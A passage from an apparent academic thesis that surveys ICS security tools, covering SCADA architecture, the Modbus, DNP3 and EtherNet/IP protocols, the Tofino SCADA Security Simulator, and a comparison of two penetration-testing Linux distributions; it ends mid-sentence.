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I. 


INTRODUCTION 


Industrial  control  systems  (ICS)  are  a  major  part  of  the  nation’s  critical 
infrastructure.  The  Presidential  Policy  Directive  (PPD-21)  Critical  Infrastructure 
Security  and  Resilience  identifies  16  critical  infrastructure  sectors,  all  of  which  utilize 
ICS  technologies  [1],  These  systems  operate  our  country’s  critical  infrastructure — 
electrical  power  grid  system,  power  plants,  gas,  water  system,  transportation  system,  food 
and  agriculture,  etc.  These  industrial  control  systems  are  vital  to  the  United  States: 
interruption  or  destruction  of  these  systems  and  their  assets  may  have  a  crippling  effect  to 
our  national  security,  the  safety  of  our  citizens,  and  our  economic  security  [1],  Although 
ICS  technologies  have  evolved  in  complexity  and  functionality,  in  parallel  with  other  IT 
technologies,  the  ICS  protocols  and  platforms  were  not  originally  designed  with  security 
in  mind.  As  ICS  technologies  became  networked  with  other  systems,  including  the 
Internet,  vulnerabilities  in  those  control  systems  became  exposed  to  new  and  greater 
threats,  leading  to  increased  concern  for  protecting  these  (previously  isolated)  vulnerable, 
legacy  systems. 

As  ICS  assets  and  peripherals  became  exposed  to  new  threats,  ‘bolt  on’  security 
solutions — such  as  firewalls,  encrypted  access  points,  passwords,  and  anti-virus 
software — have  begun  to  be  employed  in  the  ICS  domain,  in  the  absence  of  ‘built-in’ 
security.  One  study  has  attempted  to  illustrate  the  wide  spread  weaknesses  of  how 
contemporary  ICS  implement  these  solutions  and  how  they  are  susceptible  to 
compromise  via  the  Internet.  Project  Shodan  Intelligence  Extraction  (SHINE) — led  by 
Bob  Radvanovsky  and  Jake  Brodsky  in  coordination  with  the  Department  of  Homeland 
Security  (DHS)  ICS  Computer  Emergency  Response  Team  (ICS-CERT) — conducted  a 
study  surveying  vulnerable  Internet-facing  ICS  [2],  Project  SHINE  used  Shodan,  a  search 
engine  created  by  John  Matherly,  to  locate  systems  accessible  from  the  Internet  by  using 
meta-data  stored  in  service  banners  [3],  It  searches  the  Internet  for  banners  advertising 
services  such  as  HTTP,  SMTP,  Telnet,  and  FTP.  The  team  found  7,200  IP  addresses  that 
were  related  to  control  systems,  out  of  about  500,000  suspected  IP  addresses  [2],  The 
study  found  over  20,000  devices  with  weak,  default  or  non-existent  logon  credentials  [2], 
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Increased  public  awareness  of  ICS  vulnerabilities  has  led  to  new  research 
studying  ICS  devices  and  controllers,  including  research  in  vulnerabilities  affecting  the 
(relatively  obscure,  vendor-specific)  protocols  used  in  that  domain.  Security  researchers 
have  developed  proof-of-concept  exploits  and  penetration-testing  tools,  to  help  system 
owners  understand  the  vulnerabilities  in  control  systems.  Other  tools  have  been 
developed  to  augment  or  extend  the  functionality  of  traditional  defensive  tools.  There  is, 
however,  no  central  location  for  all  ICS-related  tools;  they  are  scattered  across  the 
Internet.  In  this  work,  we  survey  publicly  available  defensive  and  pen-testing  tools  for  the 
ICS  domain. 

A.  RESEARCH 

We  examine  publicly  available  defensive  and  adversarial  ICS-related  tools,  to 
create  a  consolidated  list  based  on  relevance  to  the  ICS  domain.  We  characterize  each 
tool  based  on  purpose,  availability,  and  the  ICS  sector  to  which  it  appears  most  relevant. 
We  select  a  small  number  of  tools  in  our  survey  to  study  in  the  context  of  an 
experimental  SCADA  test  environment.  We  describe  the  design  and  implementation  of 
this  environment,  and  our  experience  with  evaluating  each  tool.  The  hands-on  evaluation 
of  each  tool  focuses  on  three  goals:  to  verify  the  tool’s  availability,  to  investigate  if  the 
tool  works  as  described,  and  to  confirm  the  existence  of  appropriate  documentation 
sufficient  to  install  and  use  the  tool.  We  discuss  the  public  release  of  the  Moki  Linux 
distribution,  a  custom  ICS  tool  distribution  that  is  based  on  the  popular  Kali  Linux 
distribution. 

B.  DOD  APPLICABILITY 

The  Department  of  Defense  (DOD)  is  one  of  the  largest  owners  of  real  estate, 
buildings,  and  ICSs  in  the  federal  government.  The  DOD  has  more  than  500  installations, 
300,000  buildings,  250,000  linear  structures  and  an  estimated  2.5  million  unique  ICSs 
[4],  ICS  are  heavily  relied  upon  within  the  DOD,  including  the  U.S.  Navy.  The  seaborne 
component  of  ICS  includes  both  the  U.S.  Navy  and  U.S.  Coast  Guard  shipboard 
machinery  control  systems  (MCS).  The  day-to-day  operations  of  a  fully  functional, 
uninterrupted  MCS  are  necessary  to  accomplish  the  U.S.  Navy’s  primary  mission  of 
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defending  the  nation  by  deterring  aggression  and  maintaining  freedom  of  the  seas.  The 
security  of  ICS  and  MCS  is  not  only  critical  for  accomplishing  the  mission,  but  also  in 
ensuring  the  safety  of  the  men  and  women  of  the  military  operating  these  control 
systems.  An  attack  impacting  the  availability  or  integrity  of  a  control  system  may 
jeopardize  the  life  or  limb  of  the  personnel  operating  the  equipment  that  a  control  system 
controls.  The  preponderance  of  relatively  obscure  commercial  ICS  protocols  makes  this 
domain  difficult  to  study,  without  the  use  of  authentic  equipment  in  a  laboratory 
environment.  Understanding  the  current  state  of  ICS-related  tools  may  greatly  improve 
the  ability  of  DOD  security  professionals  to  study  control  systems  and  to  improve  the 
security  of  our  nation’s  critical  infrastructure.  Information  technology  (IT)  professionals 
and  software  developers  can  utilize  the  Moki  Linux  distribution  in  support  of  the 
development,  operation,  and  defense  of  control  systems  in  military  installations  and 
vessels. 


C.  THESIS  OVERVIEW 

The  thesis  is  organized  as  follows: 

•  Chapter  I  introduces  the  research  question,  motivation  of  our  research,  and 
its  relevance  in  the  DOD. 

•  Chapter  II  provides  an  overview  of  industrial  control  systems  and 
introduces  the  Tofino  SCADA  Security  Simulator. 

•  Chapter  II  discusses  the  methodology  used  in  this  study. 

•  Chapter  IV  illustrates  the  analysis  and  comparison  of  surveyed  ICS-related 
tools. 

•  Chapter  V  details  the  tools  selected  from  the  survey  for  evaluation  in  the 
SCADA  test  environment. 

•  Chapter  VI  discusses  the  motivation  to  build  the  Moki  Linux  distribution. 

•  Chapter  VII  summarizes  the  work  and  provides  suggestions  for  future 
work. 
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II.  BACKGROUND 


Industrial  Control  Systems  is  an  umbrella  term  that  encompasses  a  broad  category 
of  control  systems  in  industrial  facilities  and  critical  infrastructures,  including  the 
Defense  Industrial  Base  sector.  Supervisory  control  and  data  acquisition  (SCADA) 
systems  and  Distributed  Control  Systems  (DCS)  are  among  the  varying  kinds  of  ICS  and 
ICS  components  as  defined  by  the  National  Institute  of  Standards  and  Technology 
(NIST)  [5].  Conversely,  SCADA  have  become  a  universal  term  for  the  definition  of  ICS. 
This  chapter  aims  to  introduce  and  define  terms  and  concepts  that  are  used  throughout 
this  paper. 

A.  INDUSTRIAL  CONTROL  SYSTEMS  OVERVIEW 

There  are  several  applications  of  the  various  categories  of  ICS.  SCADA  systems 
are  typically  used  in  highly  distributed  systems  where  assets  are  in  geographically 
separate  locations  [5],  Examples  of  these  systems  include,  but  not  limited  to  oil  and  gas 
pipelines,  electrical  power  grid  systems,  water  distribution  systems,  and  rail 
transportation  systems  [5].  A  SCADA  system  enables  supervisors  and  operators  to  be 
centrally  located  at  a  monitoring  facility  where  all  components  of  a  large-scale  system 
that  is  distributed  throughout  a  large  geographic  area  can  be  monitored,  controlled,  and 
maintained.  These  actions  are  made  possible  by  using  field  control  devices  that  are 
remotely  controlled  to  monitor  and  manage  sensors  and  actuators,  and  handle  alarms 
(e.g.,  open  or  close  valves  or  breakers). 

Another  category  of  ICS  is  Distributed  Control  Systems  (DCS).  DCS  are  similar 
to  SCADA  but  on  a  smaller  scale.  They  are  not  typically  dependent  upon  large-scale 
network  infrastructure  to  connect  to  a  remote  site.  NIST  defines  DCS  as  “a  control 
architecture  containing  a  supervisory  level  of  control  overseeing  multiple,  integrated  sub¬ 
systems  that  are  responsible  for  controlling  the  details  of  a  localized  process”  [5], 
Examples  of  these  localized  processes  include  automobile,  computer,  and  food 


5 


manufacturing  systems,  and  critical  infrastructure  such  as  electric  power  plants,  water, 
and  sewage  treatment  facilities,  most  of  which  also  exist  on  most  military  bases 
nationwide. 

An  ICS  implementation  that  is  more  applicable  to  the  United  States  Navy  and  the 
United  States  Coast  Guard  is  the  machinery  control  systems,  which  are  a  shipboard 
SCADA  that  operate  in  a  similar  function  as  its  shore-based  counterpart  except  in  a 
smaller,  enclosed  environment.  MCS  onboard  naval  vessels  connect  its  propulsion, 
electrical,  damage  control,  and  other  various  systems  to  a  human-machine  interface 
(HMI)  system  allowing  ship  operators  to  monitor  system  and  device  status  [6],  This 
enables  shipboard  watch  stander  to  monitor  the  ship’s  machinery  operation  from  a  central 
location,  typically  the  Damage  Control  Central.  Some  key  control  components  of  an  ICS 
discussed  in  this  project  are  described  below. 

1.  Programmable  Logic  Controller 

A  programmable  logic  controller  (PLC)  is  an  industrial  computer  designed  to 
control  machinery  by  controlling  logic  as  simple  as  opening  and  closing  valves  on  a 
pipeline  system  to  programming  and  controlling  a  series  of  robotic  arms  in  an  automobile 
manufacturing  plant.  PLCs  perform  logic  functions  programmed  by  engineers  to  control 
electrical  hardware  such  as  relays,  switches,  mechanical  timers/counter,  as  well  as 
provide  feedback  from  sensors  back  to  the  operators  [5].  Modem  PLC  technology  have 
been  modernized  to  process  more  complex  logic  processes  [5], 

2.  Human-Machine  Interface 

Human-machine  interface  is  composed  of  computer  software  and  hardware, 
which  allows  human  operators  to  supervise  and  control  processes  of  an  industrial  control 
system.  From  an  HMI  station,  operators  have  the  ability  to  modify  control  systems 
settings  or  manually  override  the  automatic  operation  of  the  system  in  case  of  emergency 
[5].  HMI  has  the  capability  to  log  events  to  a  data  logger  where  an  operator  can  display 
reports  such  as  system  health,  historical  trends,  and  system  faults  that  may  be  reviewed 
for  troubleshooting  or  forensic  analysis  in  case  of  an  intrusion  or  anomalous  behavior. 
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B.  SUPERVISORY  AND  CONTROL  LAYER 

The  network  architecture  of  an  ICS  can  be  viewed  two  different  ways  from  a 
logical  organization  standpoint.  NIST  describes  the  ICS  network  architecture  in  three 
separate  logical  layers:  control  network,  corporate/supervisory  network,  and  enterprise 
network  [5],  The  American  National  Standards  Institute  defines  its  SCADA  reference 
model  with  five  levels  (Level  0-Level  4)  [7].  For  the  purpose  of  this  thesis,  we  will  use 
the  NIST  definition  of  ICS  network  architecture.  The  enterprise  layer  is  outside  of  the 
scope  of  this  thesis  and  will  not  be  discussed  in  detail.  The  corporate/supervisory  and 
control  layers  are  described  below. 

1.  Corporate/Supervisory  Layer 

The  corporate  layer  is  a  logical  layer  in  an  ICS  whose  main  function  includes 
managing  workflows  to  produce  the  desired  end  products.  Some  corporate  layer  activities 
include:  collecting  data  from  the  production  plant,  data  logging,  and  hosting  application 
servers. 

The  boundary  between  the  corporate  layer  and  the  control  layer  is  physically 
separated  by  a  stateful  firewall  to  provide  separation  between  control  systems  traffic  and 
regular  corporate  layer  traffic  (i.e.,  HTTP,  SMTP)  [5]. 

2.  Control  Layer 

The  control  layer  is  a  logical  layer  in  an  ICS  where  HMIs  and  PLCs  reside.  It  is 
the  lowest  layer  in  an  ICS  as  defined  by  the  NIST  SP800-82  [5].  HMIs  are  found  in  the 
control  layer  where  physical  processes  are  monitored  and  controlled.  Each  HMI  receives 
process  directives  and  instructions  from  to  the  corporate  layer  such  as  logic  rules  and 
updates  to  program  instructions.  The  types  of  field  controllers  that  operate  in  this  layer 
include  PLCs,  DCS  controllers,  and  remote  terminal  units  (RTU)  [5]. 

C.  COMMON  PROTOCOLS  AND  STANDARDS 

Before  industrial  control  systems  became  interconnected  with  other  systems,  ICS 
device  manufacturers  developed  their  own  proprietary  protocols  for  communicating 
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among  PLCs,  remote  terminal  unit  (RTU),  sensors,  actuators,  etc.  As  a  result,  there  are  a 
multitude  of  industrial  control  protocols  used  today.  The  following  are  selected  industrial 
control  protocols  that  we  used  and  interacted  with  in  this  project:  Modbus/TCP,  DNP3, 
and  common  industrial  protocol  (CIP)  &  EtherNet/IP  (ENIP).  Each  is  described  below. 

1.  Modbus/TCP 

Modbus/TCP  is  an  application-layer  messaging  protocol  for  client-server 
communications  between  devices  connected  on  different  types  of  buses  or  networks  [8]. 
Modbus/TCP  is  an  application  layer  protocol  that  operates  above  the  lower  four  layers  of 
the  TCP/IP  communication  stack,  depicted  in  Figure  1. 


MODBUS  TCP/IP  COMMUNICATION  STACK 

# 

MODEL 

IMPORTANT  PROTOCOLS 

Reference 

7 

Application 

Modbus 

6 

Presentation 

5 

Session 

4 

Transport 

TCP 

3 

Network 

IP,  ARP,  RARP 

2 

Dath  Link 

Ethernet,  CSMA/CD,  IMAC 

IEEE  802.3 

Ethernet 

1 

Physical 

Ethernet  Physical  Laver 

Figure  1 .  Modbus  TCP/IP  Communication  Stack,  from  [9] 


Modbus/TCP  follows  a  master-slave  architecture  where  a  master  sends  a  request 
to  a  slave  and  waits  for  a  response.  A  Modbus/TCP  data  packet  contains  a  layered  set  of 
data.  The  application  data  unit  (ADU)  is  embedded  in  the  TCP  data  array  (Figure  2). 
When  data  is  transmitted  over  the  network,  it  continues  down  the  stack  and  is 
encapsulated  by  the  next  lower  layer  [9], 
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Figure  2.  Construction  of  a  Modbus/TCP  Data  Packet,  from  [9] 

Within  the  Modbus/TCP,  an  ADU  (Figure  3)  contains  the  Unit  ID  and  Function 
Code,  both  of  which  will  be  explored  in  detail  throughout  the  project.  The  Unit  ID  field  is 
used  to  identify  a  remote  server  location  on  a  non-TCP/IP  network. 
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Figure  3.  Modbus/TCP  Application  Data  Unit  (ADU),  from  [9] 


Each  Modbus/TCP  function  code  defines  the  master’s  requested  action.  Figure  4 
lists  some  examples  of  Modbus/TCP  function  codes. 


9 


CODE 

FUNCTION 

REFERENCE 

01  (01H) 

Read  Coil  {Output}  Status 

Oxxxx 

03  (03H) 

Read  Holding  Registers 

4xxxx 

04  (04 H) 

Read  Input  Registers 

3xxxx 

05  (05H) 

Force  Single  Coil  (Output) 

Oxxxx 

06  (06H) 

Preset  Single  Register 

4XXXX 

15  (0FH) 

Force  Multiple  Coils  (Outputs) 

Oxxxx 

16  (10H) 

Preset  Multiple  Registers 

4XXXX 

17  (1 1H) 

Report  Slave  ID 

Hidden 

Figure  4.  Modbus/TCP  Function  Codes,  from  [9] 


The  Modbus  protocol’s  data  model  contains  four  primary  data  tables  (see  Figure 
5).  Discrete  Input  is  a  single-bit,  read-only  data  type  that  can  be  provided  by  an  I/O 
system.  Coils  are  single-bit,  read  and  write  data  type  that  is  alterable  by  an  application 
program.  The  Input  Register  is  a  16-bit  word,  read-only  data  type  that  can  be  provided  by 
an  I/O  system,  and  the  Holding  Register  is  a  16-bit  word,  read  and  write  data  type  that  is 
alterable  by  an  application  program  [8]. 


Primary  tables 

Object  type 

Type  of 

Comments 

Discretes  Input 

Single  bit 

Read-Only 

This  type  of  data  can  be  provided  by  an  I/O  system. 

Coils 

Single  bit 

Read-Write 

This  type  of  data  can  be  alterable  by  an  application 
program. 

Input  Registers 

16-bit  word 

Read-Only 

This  type  of  data  can  be  provided  by  an  I/O  system 

Holding  Registers 

1 6-bit  word 

Re  ad- Write 

This  type  of  data  can  be  alterable  by  an  application 
program. 

Figure  5.  Modbus  Data  Model,  from  [8] 


2.  DNP3 

The  distributed  network  protocol  version  3  (DNP3)  is  a  master/slave  control 
system  protocol  primarily  used  in  utilities  such  as  electric  and  water  companies  in 
Northern  America  [10],  [11].  DNP3  was  specifically  designed  to  facilitate 

communication  between  SCADA  control  equipment.  Similar  to  most  industrial  control 
protocols,  DNP3  started  as  a  serial  protocol  and  was  redesigned  to  work  over  IP  via  TCP 
or  UDP  encapsulation.  DNP3  protocol  stack  is  illustrated  in  Figure  6. 
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Figure  6.  DNP3  Protocol  Stack,  from  [11] 


DNP3  is  a  client/server  protocol  stack  or  outstation/master  respectively,  where  the 
latter  is  what  is  typically  used  in  DNP3  terminology.  A  master  is  typically  an  HMI  PLC 
device.  An  outstation  consists  of  PLC,  RTU,  or  Intelligent  Electronic  Device  (IED)  that 
communicates  with  sensors  and  actuators  [11], 

3.  Common  Industrial  Protocol  and  EtherNet/IP 

Common  industrial  protocol  (CIP)  provides  users  unified  communication 
architecture  throughout  the  manufacturing  enterprise.  It  provides  the  interoperability  and 
interchangeability  that  is  essential  to  open  networks  and  open  systems  [12]. 

EtherNet/IP  (ENIP)  follows  the  OSI  model.  It  implements  CIP  at  the  Session 
layer  and  above  and  adapts  CIP  to  the  specific  EtherNet/IP  technology  at  the  Transport 
layer  and  below  (see  Figure  7)  [13].  It  provides  users  with  the  network  tools  to  deploy 
standard  Ethernet  technology  for  manufacturing  applications  while  enabling  Internet  and 
enterprise  connectivity  [12]. 

Messaging  over  EtherNet/IP  takes  place  within  the  application  layer  of  CIP  and 
the  data  exchange  between  nodes  is  transparent  to  users.  Commonly  used  for  I/O 
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messages,  these  make  full  use  of  the  producer/consumer  model  and  are  commonly  used 
for  scheduled  communication  between  controllers  [14].  There  are  four  types  of  CIP 
messaging:  polled,  change  of  state,  cyclic,  and  strobed.  In  polled  messaging,  a  master 
sequentially  queries  all  of  the  slave  devices  in  the  network  by  sending  output  data  and 
receiving  input  data  as  a  response.  Strobed  messaging  is  similar  to  polled  but  sends  a 
single  multicast  request  data  and  receives  sequential  response  of  data  from  slave  devices 
with  no  further  acknowledgement  messages  required  from  the  master.  Cyclic  messaging 
is  a  message  sent  by  a  device  on  a  pre-determined  schedule  basis.  Change  of  state 
messaging  is  similar  to  cyclic,  but  rather  than  a  timed  event,  the  message  from  the  device 
is  sent  in  response  to  an  event  that  caused  the  data  to  change  [14]. 
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Figure  7.  EtherNet/IP  Protocol  Stack,  from  [14] 


D.  TOFINO  SCADA  SECURITY  SIMULATOR 

Tofino  SCADA  Security  Simulator  is  a  complete  SCADA  system  in  a  portable 
package  designed  by  Tofino  Security  for  security  research  and  training.  The  simulator  is 
designed  for  easy  presentation  of  SCADA  control  systems  and  security  concepts  by 
highlighting  the  risks  faced  by  SCADA  and  ICS  from  computer  worms,  malwares,  and 
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hackers  [15].  This  “SCADA  in  a  box”  system  (depicted  in  Figure  8)  includes:  an  industry 
standard  PLC  (Wago  750-841),  a  simulated  process  system  with  a  demo  panel,  the 
Tofino  Security  Appliance,  an  HMI,  and  the  Tofino  Central  Management  Platform 
(CMP);  the  latter  two  are  pre-installed  and  configured  on  a  laptop.  Also  included  in  the 
laptop  is  a  SCADA  worm  hidden  in  a  PDF  that  when  opened,  runs  a  malicious  code  that 
exploits  the  PLC  and  affect  SCADA  system  operations.  It  demonstrates  how  SCADA 
systems  may  behave  when  attacked,  and  how  to  utilize  the  Tofino  Security  Appliance  to 
inhibit  such  attacks  [15]. 


Figure  8.  Tofino  SCADA  Security  Simulator,  from  [16] 

1.  Tofino  Security  Appliance 

One  of  the  main  components  of  the  Tofino  SCADA  Security  Simulator  is  the 
Tofino  Security  Appliance,  depicted  in  Figure  9.  It  is  an  ICS  firewall  designed  for  use  in 
industrial  control  equipment  and  networks.  This  component  is  an  in-line  “bump  in  the 

wire”  device  and  is  tailored  for  industrial  systems  ensuring  high  availability  between 
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HMIs  and  PLCs.  The  Tofino  Security  Appliance  performs  stateful  packet  filtering  at  the 
ICS  application  level.  For  example,  the  Modbus  Enforcer  (described  below)  is  configured 
to  allow  only  Modbus  read  commands  from  the  HMI  workstation.  This  ensures  that 
unauthorized  write  commands  to  the  PLC  from  the  HMI  workstation  fail  [16].  Another 
example  of  Tofino  Security  Appliance’s  application-level  stateful  packet  filtering  is  its 
inspection  of  the  Modbus  protocol  in  search  for  malformed  packets  that  may  be  used  to 
perform  buffer  overflow  attacks  on  the  PLC.  This  “bump  in  the  wire”  firewall  operates 
seamlessly  within  the  network  and  does  not  impact  the  process  when  installed  [16]. 

The  Tofino  Security  Appliance  secures  industrial  control  networks  using  loadable 
security  modules  (LSM).  LSMs  are  firmware  modules  that  are  downloaded  to  the  Tofino 
Security  Appliance  with  security  features  for  each  location  in  an  ICS  control  network. 
There  are  currently  five  LSM  modules  available  for  the  Tofino  Security  Appliance  [17]. 
The  simulator  includes  three  LSM  licenses:  firewall,  Modbus/TCP  enforcer,  and  secure 
asset  management.  The  two  LSM  modules  available  but  not  included  in  the  Tofino 
SCADA  Security  Simulator  are  the  object  linking  and  embedding  (OLE)  for  process 
control  (OPC)  enforcer  and  the  virtual  private  network  (VPN)  module.  Each  LSM 
licensed  for  the  Tofino  Security  Appliance  is  described  below. 

a.  Firewall  LSM 

The  Firewall  LSM  acts  as  a  typical  firewall  for  industrial  networks.  It  is  preloaded 
with  rules,  which  can  be  modified  with  additional  rules  that  specify  which  devices  are 
authorized  to  communicate,  and  with  which  protocols  those  devices  are  authorized  to 
communicate.  Similar  to  a  home  or  business  firewall,  any  traffic  that  does  not  match  the 
specified  rules  are  blocked,  logged,  and  reported  as  a  security  alert  [16]. 

b.  Modbus/TCP  Enforcer  LSM 

The  Modbus/TCP  Enforcer  is  a  feature  that  conducts  deep-packet  inspection  on 
the  Modbus/TCP  protocol.  Preloaded  rules,  which  can  be  modified  and  appended  with 
additional  rules,  specify  which  Modbus  Function  Codes  and  register/coil  addresses  may 
be  accessed.  Any  traffic  that  does  not  match  the  specified  rules  are  blocked,  logged,  and 
reported  as  a  security  alert  [16]. 
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c.  Secure  Asset  Management  LSM 

Secure  asset  management  is  a  feature  that  tracks  all  devices  that  communicate 
through  the  Tofino  Security  Appliance.  It  uses  Tofino’s  passive  asset  discovery  service  to 
locate  devices  in  the  network  and  does  not  scan  or  probe  the  network  as  those  activities 
could  lead  to  unintentional  denial  of  service  and  cause  controllers  to  fail  [16].  After 
discovery,  devices  can  be  dragged  into  a  graphical  network  model  that  creates  a  logical 
organization  of  the  entire  network  architecture  in  the  CMP.  Having  a  visual 
representation  of  the  network  architecture  in  the  CMP  improves  the  quality  and  accuracy 
when  firewall  rules  are  created. 


Tofino  SA 


Figure  9.  Tofino  Security  Appliance,  from  [15] 
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III.  METHODOLOGY 


In  this  chapter,  we  discuss  our  approach  for  characterizing  the  space  of 
adversarial  and  defensive  tools  available  for  the  ICS  domain  (i.e.,  by  conducting  a  survey 
of  all  publicly  available  tools)  and  experimentally  evaluating  select  tools  identified  by  the 
survey. 

A.  APPROACH 

The  goal  of  our  project  is  to  survey  and  assess  publicly  available  tools  applicable 
to  the  ICS  domain.  Our  focus  is  on  SCADA-specific  tools  that  may  be  employed  to 
defend  or  test  resources  specific  to  the  ICS  domain  (e.g.,  programmable  controllers  and 
network  traffic  involving  industrial  protocols).  We  attempt  to  characterize  each  tool 
based  on  its  popularity  among  security  tool  distributions  developed  for  use  by 
professionals  working  in  the  ICS  domain.  In  general,  the  tools  included  in  the  survey  are 
created  by  well-known  ICS  research  and  consulting  firms  such  as  Digital  Bond,  whose 
main  focus  is  control  system  security.  Digital  Bond  develops  tools  that  help  asset  owners 
and  vendors  assess  the  security  of  their  control  systems  and  detect  and  stop  cyber  attacks 
[18].  Other  groups  and  institutions  specializing  in  control  systems  security  with 
contributions  in  the  creation  of  penetration  testing  tools  in  the  ICS  domain  are  within  the 
purview  of  this  survey.  Following  our  ICS  survey,  we  select  a  small  number  of  tools  for 
secondary,  in-depth  experimentation.  The  goal  of  this  hands-on  evaluation  is  to  assess  the 
state  of  the  tool.  In  particular,  is  it  available  (or  vapor-ware)?  Does  it  work  as  described? 
Does  it  have  appropriate  documentation  to  guide  installation  and  use?  The  tools  are 
evaluated  in  a  small  test  environment  built  for  our  study,  described  in  detail  in  Chapter  V. 

There  are  a  number  of  tools  that  are  generally  useful  and  beneficial  to  securing  the 
ICS  domain.  These  tools  include  scanners,  simulators,  and  fingerprinting  tools  that 
facilitate  the  initial  stages  of  attack,  helping  security  professionals  and  penetration  testers 
to  identify  services  in  an  ICS  environment  that  may  be  vulnerable.  Other  tools  target 
common  Enterprise  protocols  and  software,  such  as  Telnet  and  Network  Dynamic  Data 
Exchange  (NetDDE).  These  non  SCADA-specific  tools  can  be  used  to  establish  a 
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foothold  in  industrial  control  environments  to  launch  exploits  or  to  pivot  to  other  systems 
in  the  network.  Also  included  are  also  SCADA-specific  tools  for  defense  and  penetration 
testing,  including  ICS-specific  protocol  scanners  and  vendor-specific  exploits,  such  as 
those  employed  by  Stuxnet  to  target  an  existing  DLL  vulnerability  for  the  Siemens 
SIMATIC  STEP  7  [19].  We  discuss  the  scope  of  the  tools  we  survey,  next. 

B.  SCOPE 

The  scope  of  the  survey  is  limited  to  tools  relevant  to  the  ICS  domain.  Generic 
tools  (Snort,  Wireshark,  Tenable  Nessus  scanner)  that  are  useful  generally  and  may  be 
employed  in  the  ICS  domain  are  not  included  in  our  survey;  however,  we  do  survey  ICS- 
specific  plugins  or  extensions  that  may  enhance  these.  We  restrict  ourselves  to  those  tools 
we  can  access  (e.g.,  available  via  websites  of  research  groups  and  consulting  firms  or  via 
publicly  available  repositories  such  as  github.com  and  code.google.com).  Proprietary 
tools  that  are  not  available  for  public  use  are  not  in  scope  of  this  project.  We  note  that 
tools  publicly  available  at  the  time  of  the  survey  may  become  unavailable;  for  example, 
among  the  Institute  for  Information  Infrastructure  Protection  (I3P),  some  participating 
institutions  are  seeking  to  license  their  technologies  to  private  sector  companies  [20],  The 
platforms  for  these  tools  will  not  affect  the  scope  of  the  survey.  Most  organizations 
operating  industrial  automation  and  control  systems  have  moved  away  from  proprietary 
operating  systems,  which  use  individual,  isolated  computers,  towards  employing 
interconnected  commercial-off-the-shelf  operating  systems.  This  reduces  overall  support 
costs  and  permits  remote  operation  and  administration  among  other  significant  business 
benefits  [5],  [7].  Additionally,  our  survey  considers  the  ICS  domain  to  which  each  tool 
appears  applicable,  including,  but  not  limited  to:  electricity  transmission  and  distribution, 
gas  and  water  distribution  networks,  oil  and  gas  production  operations,  gas  and  liquid 
transmission  pipelines  as  well  as  engineering,  propulsion,  and  auxiliary  systems  on  board 
United  States  Navy  and  Coast  Guard  ships  [7]. 

From  a  SCADA  network  organization  perspective,  the  focus  of  our  work  is 
directed  towards  assets  in  the  control  network  or  between  the  control  and  corporate 
networks,  as  defined  in  NIST  SP  800-82  [5]  or  Level  2  and  below  on  a  reference  model 
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defined  by  the  American  National  Standards  Institute)  [7],  All  assets  and  protocols 
associated  with  the  control  network  layer  are  pertinent  to  our  tools  survey.  Tools  related 
to  assets  and  protocols  outside  the  control  network  (i.e.,  the  SCADA  corporate  layer)  are 
not  included  in  our  survey. 
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IV.  SURVEY  SUMMARY 


In  this  chapter,  we  survey  publicly  available  defensive  and  adversarial  tools 
available  for  the  ICS  domain.  We  analyze  and  compare  two  primary  penetration-testing 
distributions,  various  ICS-related  Metasploit  modules  and  ICS  tools  not  associated  with 
any  specific  distribution. 

A.  TOOLS  DISTRIBUTION 

The  two  ICS -related  distributions  surveyed  here  are  the  Idaho  National 
Laboratory  (INL)  Kali  Linux  distribution  and  the  SamuraiSTFU  (Security  Testing 
Framework  for  Utility)  distribution. 

1.  INL  Kali  Linux 

Idaho  National  Laboratory  participates  in  a  national  research  initiative  to  improve 
the  security  and  resilience  of  our  nation’s  energy-sector  critical  infrastructure  through  the 
National  SCADA  Test  Bed  (NSTB)  program.  The  NSTB  is  a  collaborative  Department 
of  Energy  (DOE)  initiative  for  securing  SCADA  and  energy-related  control  devices  [21]. 
The  test  bed  is  designed  to  help  partners  and  vendors  assess  system  hardware  and 
software.  In  addition,  it  provides  infrastructure  for  testing  and  validating  control  systems, 
to  support  training  and  research  for  improving  the  national  critical  infrastructure  [22],  For 
example,  the  NSTB  program  offers  an  introductory  SCADA  security  course,  intermediate 
SCADA  security  course,  and  advanced  SCADA  security  red/blue  team  course.  The  INL 
Kali  Linux  distribution  was  developed  for  use  in  this  courseware,  to  support  trainees  by 
offering  hands-on  experience  with  tools  relevant  to  energy-sector  protocols  and  systems 
so  students  may  observe  exploits  and  learn  mitigations. 

2.  SamuraiSTFU 

SamuraiSTFU  is  a  distribution  created  to  support  an  ICS  security-training  course, 
offered  by  the  SANS  Institute  and  available  at  various  conventions  like  Black  Hat  and 
BruCON.  Similar  to  INL’s  custom  Kali  distribution,  SamuraiSTFU  is  an  open-source 
Ubuntu  Linux  distribution  for  penetration  testing  energy  sector  control  systems  and 
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related  critical  infrastructure.  The  distribution  is  geared  towards  hands-on  penetration 
testing  for  embedded  electronic  field  devices,  network  protocols,  and  RF  communications 
associated  with  ICS  and  smart  grid  systems  [23]. 

3.  Tools  Distribution  Comparison 

A  consolidated  list  of  tools  from  each  distribution  is  shown  in  Table  1.  This 
matrix  is  organized  in  three  sections:  penetration  testing  tools  with  SC  AD  A 
enhancements,  SCADA-specific  tools,  and  tools  relevant  to  the  energy  sector.  Metasploit 
and  ModScan  are  tools  in  both  INL  Kali  Linux  and  SamuraiSTFU,  discussed  in  detail  in 
Chapter  V. 


a.  Penetration-Testing  Core  Tools 

In  the  penetration-testing  core  tools  section,  we  have  highlighted  those  tools  that 
are  not  SCADA-specific  but  have  SCADA-relevant  enhancements  or  plugins.  These 
include  both  pen-testing  tools  (Metasploit)  and  defensive  tools  (Snort,  Baryard2, 
Suricata). 

Metasploit  is  penetration-testing  software  designed  to  verify  vulnerabilities  and 
manage  security  assessment  by  using  tools  and  exploits  in  the  form  of  modules.  These 
modules  are  the  result  of  a  collaboration  of  over  200,000  open  source  community 
developers  [24],  Metasploit  is  intended  to  allow  security  professionals  to  find  weak 
points  in  their  systems  before  a  malicious  attacker  does  [24],  Metasploit  currently  has 
over  2,600  exploits  in  its  Metasploit  Framework  database.  Of  these,  49  ICS-specific 
exploits  are  available  via  the  Metasploit  Framework  Update. 

Snort  is  an  open  source  intrusion  prevention  system  (IPS),  capable  of  performing 
real-time  traffic  analysis  and  packet  logging  on  IP  networks  [25],  Snort’s  features  include 
protocol  analysis  and  content  searching/matching.  Snort  can  detect  a  variety  of  attacks 
and  network  probes,  such  as  buffer  overflows,  port  scans  and  OS-fingerprinting  [25]. 
Digital  Bond  has  developed  several  Snort  rules  expanding  the  tool’s  capabilities  to  handle 
